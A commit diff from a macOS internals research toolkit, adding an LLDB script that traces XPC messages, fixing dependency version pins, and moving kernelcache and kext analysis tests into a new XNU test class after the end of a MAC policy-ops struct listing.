void* mpo_reserved48;
void* mpo_socket_check_listen;
void* mpo_socket_check_receive;
void* mpo_socket_check_received;
void* mpo_reserved49;
void* mpo_socket_check_send;
void* mpo_socket_check_stat;
void* mpo_socket_check_setsockopt;
void* mpo_socket_check_getsockopt;
void* mpo_proc_check_get_movable_control_port;
void* mpo_proc_check_dyld_process_info_notify_register;
void* mpo_proc_check_setuid;
void* mpo_proc_check_seteuid;
void* mpo_proc_check_setreuid;
void* mpo_proc_check_setgid;
void* mpo_proc_check_setegid;
void* mpo_proc_check_setregid;
void* mpo_proc_check_settid;
void* mpo_proc_check_memorystatus_control;
void* mpo_reserved60;
void* mpo_thread_telemetry;
void* mpo_iokit_check_open_service;
void* mpo_system_check_acct;
void* mpo_system_check_audit;
void* mpo_system_check_auditctl;
void* mpo_system_check_auditon;
void* mpo_system_check_host_priv;
void* mpo_system_check_nfsd;
void* mpo_system_check_reboot;
void* mpo_system_check_settime;
void* mpo_system_check_swapoff;
void* mpo_system_check_swapon;
void* mpo_socket_check_ioctl;
void* mpo_sysvmsg_label_associate;
void* mpo_sysvmsg_label_destroy;
void* mpo_sysvmsg_label_init;
void* mpo_sysvmsg_label_recycle;
void* mpo_sysvmsq_check_enqueue;
void* mpo_sysvmsq_check_msgrcv;
void* mpo_sysvmsq_check_msgrmid;
void* mpo_sysvmsq_check_msqctl;
void* mpo_sysvmsq_check_msqget;
void* mpo_sysvmsq_check_msqrcv;
void* mpo_sysvmsq_check_msqsnd;
void* mpo_sysvmsq_label_associate;
void* mpo_sysvmsq_label_destroy;
void* mpo_sysvmsq_label_init;
void* mpo_sysvmsq_label_recycle;
void* mpo_sysvsem_check_semctl;
void* mpo_sysvsem_check_semget;
void* mpo_sysvsem_check_semop;
void* mpo_sysvsem_label_associate;
void* mpo_sysvsem_label_destroy;
void* mpo_sysvsem_label_init;
void* mpo_sysvsem_label_recycle;
void* mpo_sysvshm_check_shmat;
void* mpo_sysvshm_check_shmctl;
void* mpo_sysvshm_check_shmdt;
void* mpo_sysvshm_check_shmget;
void* mpo_sysvshm_label_associate;
void* mpo_sysvshm_label_destroy;
void* mpo_sysvshm_label_init;
void* mpo_sysvshm_label_recycle;
void* mpo_proc_notify_exit;
void* mpo_mount_check_snapshot_revert;
void* mpo_vnode_check_getattr;
void* mpo_mount_check_snapshot_create;
void* mpo_mount_check_snapshot_delete;
void* mpo_vnode_check_clone;
void* mpo_proc_check_get_cs_info;
void* mpo_proc_check_set_cs_info;
void* mpo_iokit_check_hid_control;
void* mpo_vnode_check_access;
void* mpo_vnode_check_chdir;
void* mpo_vnode_check_chroot;
void* mpo_vnode_check_create;
void* mpo_vnode_check_deleteextattr;
void* mpo_vnode_check_exchangedata;
void* mpo_vnode_check_exec;
void* mpo_vnode_check_getattrlist;
void* mpo_vnode_check_getextattr;
void* mpo_vnode_check_ioctl;
void* mpo_vnode_check_kqfilter;
void* mpo_vnode_check_label_update;
void* mpo_vnode_check_link;
void* mpo_vnode_check_listextattr;
void* mpo_vnode_check_lookup;
void* mpo_vnode_check_open;
void* mpo_vnode_check_read;
void* mpo_vnode_check_readdir;
void* mpo_vnode_check_readlink;
void* mpo_vnode_check_rename_from;
void* mpo_vnode_check_rename_to;
void* mpo_vnode_check_revoke;
void* mpo_vnode_check_select;
void* mpo_vnode_check_setattrlist;
void* mpo_vnode_check_setextattr;
void* mpo_vnode_check_setflags;
void* mpo_vnode_check_setmode;
void* mpo_vnode_check_setowner;
void* mpo_vnode_check_setutimes;
void* mpo_vnode_check_stat;
void* mpo_vnode_check_truncate;
void* mpo_vnode_check_unlink;
void* mpo_vnode_check_write;
void* mpo_vnode_label_associate_devfs;
void* mpo_vnode_label_associate_extattr;
void* mpo_vnode_label_associate_file;
void* mpo_vnode_label_associate_pipe;
void* mpo_vnode_label_associate_posixsem;
void* mpo_vnode_label_associate_posixshm;
void* mpo_vnode_label_associate_singlelabel;
void* mpo_vnode_label_associate_socket;
void* mpo_vnode_label_copy;
void* mpo_vnode_label_destroy;
void* mpo_vnode_label_externalize_audit;
void* mpo_vnode_label_externalize;
void* mpo_vnode_label_init;
void* mpo_vnode_label_internalize;
void* mpo_vnode_label_recycle;
void* mpo_vnode_label_store;
void* mpo_vnode_label_update_extattr;
void* mpo_vnode_label_update;
void* mpo_vnode_notify_create;
void* mpo_vnode_check_signature;
void* mpo_vnode_check_uipc_bind;
void* mpo_vnode_check_uipc_connect;
void* mpo_proc_check_run_cs_invalid;
void* mpo_proc_check_suspend_resume;
void* mpo_thread_userret;
void* mpo_iokit_check_set_properties;
void* mpo_vnode_check_supplemental_signature;
void* mpo_vnode_check_searchfs;
void* mpo_priv_check;
void* mpo_priv_grant;
void* mpo_proc_check_map_anon;
void* mpo_vnode_check_fsgetpath;
void* mpo_iokit_check_open;
void* mpo_proc_check_ledger;
void* mpo_vnode_notify_rename;
void* mpo_vnode_check_setacl;
void* mpo_vnode_notify_deleteextattr;
void* mpo_system_check_kas_info;
void* mpo_vnode_check_lookup_preflight;
void* mpo_vnode_notify_open;
void* mpo_system_check_info;
void* mpo_pty_notify_grant;
void* mpo_pty_notify_close;
void* mpo_vnode_find_sigs;
void* mpo_kext_check_load;
void* mpo_kext_check_unload;
void* mpo_proc_check_proc_info;
void* mpo_vnode_notify_link;
void* mpo_iokit_check_filter_properties;
void* mpo_iokit_check_get_property;
};

4459
X. NU/python/CrimsonUroboros.py Executable file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,50 @@
import lldb
def set_xpc_breaks(debugger, command, result, internal_dict):
"""
Set up tracing for XPC communication.
This includes breakpoints for sending/receiving messages and connection creation.
"""
target = debugger.GetSelectedTarget()
if not target:
result.PutCString("No target selected. Please attach to a process first.")
return
# List of XPC functions for setting breakpoints
send_functions = [
"xpc_connection_send_message",
"xpc_connection_send_message_with_reply",
"xpc_connection_send_message_with_reply_sync"
]
recv_function = "xpc_connection_set_event_handler"
connect_functions = [
"xpc_connection_create",
"xpc_connection_create_mach_service",
]
# Set breakpoints for XPC connection creation
for func in connect_functions:
bp = target.BreakpointCreateByName(func)
if bp.IsValid():
result.PutCString(f"Breakpoint set on {func}")
else:
result.PutCString(f"Failed to set breakpoint on {func}")
# Set breakpoints for sending functions
for func in send_functions:
bp = target.BreakpointCreateByName(func)
if bp.IsValid():
result.PutCString(f"Breakpoint set on {func}")
else:
result.PutCString(f"Failed to set breakpoint on {func}")
# Set breakpoint for receiving messages
bp_recv = target.BreakpointCreateByName(recv_function)
if bp_recv.IsValid():
result.PutCString(f"Breakpoint set on {recv_function}")
else:
result.PutCString(f"Failed to set breakpoint on {recv_function}")
def __lldb_init_module(debugger, internal_dict):
debugger.HandleCommand('command script add -f set_xpc_breaks.set_xpc_breaks set_xpc_breaks')
print("The 'set_xpc_breaks' command has been loaded. Use 'set_xpc_breaks' to set up XPC message tracing.")

BIN
img/afine_banner.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 591 KiB

View File

@@ -1,8 +1,8 @@
lief=0.15.1
uuid=1.30
argparse=1.4.0
asn1crypto=1.5.1
pyimg4=0.8
treelib=1.7.0
xattr=1.1.0
python-magic=0.4.27
lief==0.15.1
uuid==1.30
argparse==1.4.0
asn1crypto==1.5.1
pyimg4==0.8
treelib==1.7.0
xattr==1.1.0
python-magic==0.4.27

View File

@@ -1 +1 @@
../IX. TCC/python/CrimsonUroboros.py
../X. NU/python/CrimsonUroboros.py

View File

@@ -30,7 +30,7 @@ We do it for each TestSnake class.
}
'''
snake_class = SnakeIX
snake_class = SnakeX
class Compiler:
"""
@@ -1929,166 +1929,6 @@ class TestSnakeVI():
os.system("rm -rf kernelcache")
assert not os.path.exists("kernelcache")
def test_dump_prelink_info(self):
'''Test the --dump_prelink_info flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_info.txt')
os.remove('PRELINK_info.txt')
def test_dump_prelink_text(self):
'''Test the --dump_prelink_text flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_text.txt')
os.remove('PRELINK_text.txt')
def test_dump_prelink_kext(self):
'''Test the --dump_prelink_kext flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('prelinked_amfi.bin')
os.remove('prelinked_amfi.bin')
def test_kext_prelinkinfo(self):
'''Test the --kext_prelinkinfo flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
assert expected_output in uroboros_output
def test_kmod_info(self):
'''Test the --kmod_info flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
assert expected_output in uroboros_output
def test_kext_entry(self):
'''Test the --kext_entry flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi entrypoint:'
assert expected_output in uroboros_output
def test_kext_exit(self):
'''Test the --kext_exit flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi exitpoint:'
assert expected_output in uroboros_output
def test_mig(self):
'''Test the --mig flag of SnakeVI.'''
args_list = ['-p', '/usr/libexec/amfid', '--mig']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output_1 = 'MIG_subsystem_1000:'
expected_output_2 = 'MIG_msg_1000'
expected_output_3 = 'MIG_msg_1001'
expected_output_4 = 'MIG_msg_1002'
expected_output_5 = 'MIG_msg_1003'
expected_output_6 = 'MIG_msg_1004'
expected_output_7 = 'MIG_msg_1005'
expected_output_8 = 'MIG_msg_1006'
expected_output_9 = 'MIG_msg_1007'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
assert expected_output_3 in uroboros_output
assert expected_output_4 in uroboros_output
assert expected_output_5 in uroboros_output
assert expected_output_6 in uroboros_output
assert expected_output_7 in uroboros_output
assert expected_output_8 in uroboros_output
assert expected_output_9 in uroboros_output
def test_has_suid(self):
'''Test the --has_suid flag of SnakeVI.'''
args_list = ['-p', 'hello_6_s', '--has_suid']
@@ -2545,23 +2385,6 @@ class TestSnakeVIII():
assert expected_output not in uroboros_output
def test_dump_kext(self):
'''Test the --dump_kext flag of SnakeVIII.'''
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
sandbox_processor = SandboxProcessor()
sandbox_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists("sandbox")
os.remove("sandbox")
def test_extract_sandbox_operations(self):
'''Test the --extract_sandbox_operations flag of SnakeVIII.'''
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
@@ -2584,6 +2407,19 @@ class TestSnakeVIII():
assert expected_output in uroboros_output
os.remove("sandbox")
def test_extract_sandbox_platform_profile(self):
'''Test the --extract_sandbox_platform_profile flag of SnakeVIII.'''
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
assert os.path.exists("sandbox")
uroboros_output = run_and_get_stdout('python3 CrimsonUroboros.py -p sandbox --extract_sandbox_platform_profile > platform_profile.bin')
expected_output = 'object has no attribute '
with open("platform_profile.bin", 'rb') as f:
assert expected_output.encode() not in f.read()
os.remove("sandbox")
os.remove("platform_profile.bin")
class TestSnakeIX:
'''Testing IX. TCC Permissions'''
@@ -2607,7 +2443,7 @@ class TestSnakeIX:
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
assert '' in uroboros_output
def test_tcc_fda(self):
'''Test the --tcc_fda flag for Full Disk Access permission'''
@@ -2812,3 +2648,247 @@ class TestSnakeIX:
uroboros_output = executeCodeBlock(code_block)
assert 'iCloud Access: False' in uroboros_output
class TestSnakeX:
'''Testing X. XNU'''
@classmethod
def setup_class(cls):
# Decompress KernelCache
result = decompressKernelcache()
assert result == 0
assert os.path.exists("kernelcache")
cls.kernelcache_path = run_and_get_stdout('ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed')
@classmethod
def teardown_class(cls):
# Purge kernelcache directory
os.system("rm -rf kernelcache")
assert not os.path.exists("kernelcache")
def test_parse_mpo(self):
'''Test the --parse_mpo flag of SnakeX.'''
KEXT_NAME = "com.apple.security.quarantine"
# Dump the kext
args_list = ['-p', self.kernelcache_path, '--dump_kext', KEXT_NAME]
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists(KEXT_NAME)
# Get the address of policy_ops
args_list = ['-p', KEXT_NAME, '--symbols']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
ADDR = [line.split()[0] for line in uroboros_output.splitlines() if 'policy_ops' in line][0]
# Parse the mpo
args_list = ['-p', self.kernelcache_path, '--parse_mpo', ADDR]
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'mpo_cred_check_label'
assert expected_output in uroboros_output
os.remove(KEXT_NAME)
def test_dump_prelink_info(self):
'''Test the --dump_prelink_info flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_info.txt')
os.remove('PRELINK_info.txt')
def test_dump_prelink_text(self):
'''Test the --dump_prelink_text flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_text.txt')
os.remove('PRELINK_text.txt')
def test_dump_prelink_kext(self):
'''Test the --dump_prelink_kext flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('prelinked_amfi.bin')
os.remove('prelinked_amfi.bin')
def test_kext_prelinkinfo(self):
'''Test the --kext_prelinkinfo flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
assert expected_output in uroboros_output
def test_kmod_info(self):
'''Test the --kmod_info flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
assert expected_output in uroboros_output
def test_kext_entry(self):
'''Test the --kext_entry flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi entrypoint:'
assert expected_output in uroboros_output
def test_kext_exit(self):
'''Test the --kext_exit flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi exitpoint:'
assert expected_output in uroboros_output
def test_mig(self):
'''Test the --mig flag of SnakeX.'''
args_list = ['-p', '/usr/libexec/amfid', '--mig']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output_1 = 'MIG_subsystem_1000:'
expected_output_2 = 'MIG_msg_1000'
expected_output_3 = 'MIG_msg_1001'
expected_output_4 = 'MIG_msg_1002'
expected_output_5 = 'MIG_msg_1003'
expected_output_6 = 'MIG_msg_1004'
expected_output_7 = 'MIG_msg_1005'
expected_output_8 = 'MIG_msg_1006'
expected_output_9 = 'MIG_msg_1007'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
assert expected_output_3 in uroboros_output
assert expected_output_4 in uroboros_output
assert expected_output_5 in uroboros_output
assert expected_output_6 in uroboros_output
assert expected_output_7 in uroboros_output
assert expected_output_8 in uroboros_output
assert expected_output_9 in uroboros_output
def test_dump_kext(self):
'''Test the --dump_kext flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists("sandbox")
os.remove("sandbox")